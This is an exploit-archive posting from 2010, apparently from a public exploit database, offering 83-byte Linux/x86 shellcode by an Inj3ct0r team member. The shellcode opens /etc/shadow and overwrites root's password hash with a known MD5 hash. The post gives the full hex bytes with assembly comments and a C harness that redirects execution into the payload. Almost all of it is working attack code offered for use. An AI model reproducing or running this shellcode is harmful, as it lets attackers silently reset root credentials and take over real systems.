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Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode

Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode
Posted May 27, 2010
Authored by agix

83 bytes small Linux/x86 pwrite("/etc/shadow",hash, 32, 8) shellcode.

tags | x86, shellcode
systems | linux
MD5 | 8cd5e90176cefb459213dd1c884c826f

Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode

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===============================================================
linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 83 bytes
===============================================================


/*
| Title: Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 83
Bytes
| Description: replace root's password with hash of "agix" in MD5
| Type: Shellcode
| Author: agix
| Platform: Linux X86
*/

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ################################## 1
0 I'm agix member from Inj3ct0r Team 1
1 ################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#include <stdio.h>

char shellcode[] =
"\x31\xC9" //xor ecx,ecx
"\x51" //push ecx
"\x68\x61\x64\x6F\x77" //push dword 0x776f6461
"\x68\x63\x2F\x73\x68" //push dword 0x68732f63
"\x68\x2F\x2F\x65\x74" //push dword 0x74652f2f
"\x89\xE3" //mov ebx,esp
"\x66\xB9\x91\x01" //mov cx,0x191
"\x6A\x05" //push byte +0x5
"\x58" //pop eax
"\xCD\x80" //int 0x80
"\x89\xC3" //mov ebx,eax
"\xEB\x0D" //jmp short 0x30
"\x59" //pop ecx
"\x6A\x20" //push byte +0x20
"\x5A" //pop edx
"\xB0\xB5" //mov al, 0xb5
"\x6A\x08" //push byte +0x8
"\x5E" //pop esi
"\x31\xFF" //xor edi,edi
"\xCD\x80" //int 0x80
"\xE8\xEE\xFF\xFF\xFF" //call 0x22
//db "IMMkmgi9$NuhPs1B8H5uz7kEOeKf2H1:"
"\x49\x4D\x4D\x6B\x6D\x67\x69\x39"
"\x24\x4E\x75\x68\x50\x73\x31\x42"
"\x38\x48\x35\x75\x7A\x37\x6B\x45"
"\x4F\x65\x4B\x66\x32\x48\x31\x3A";

int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}


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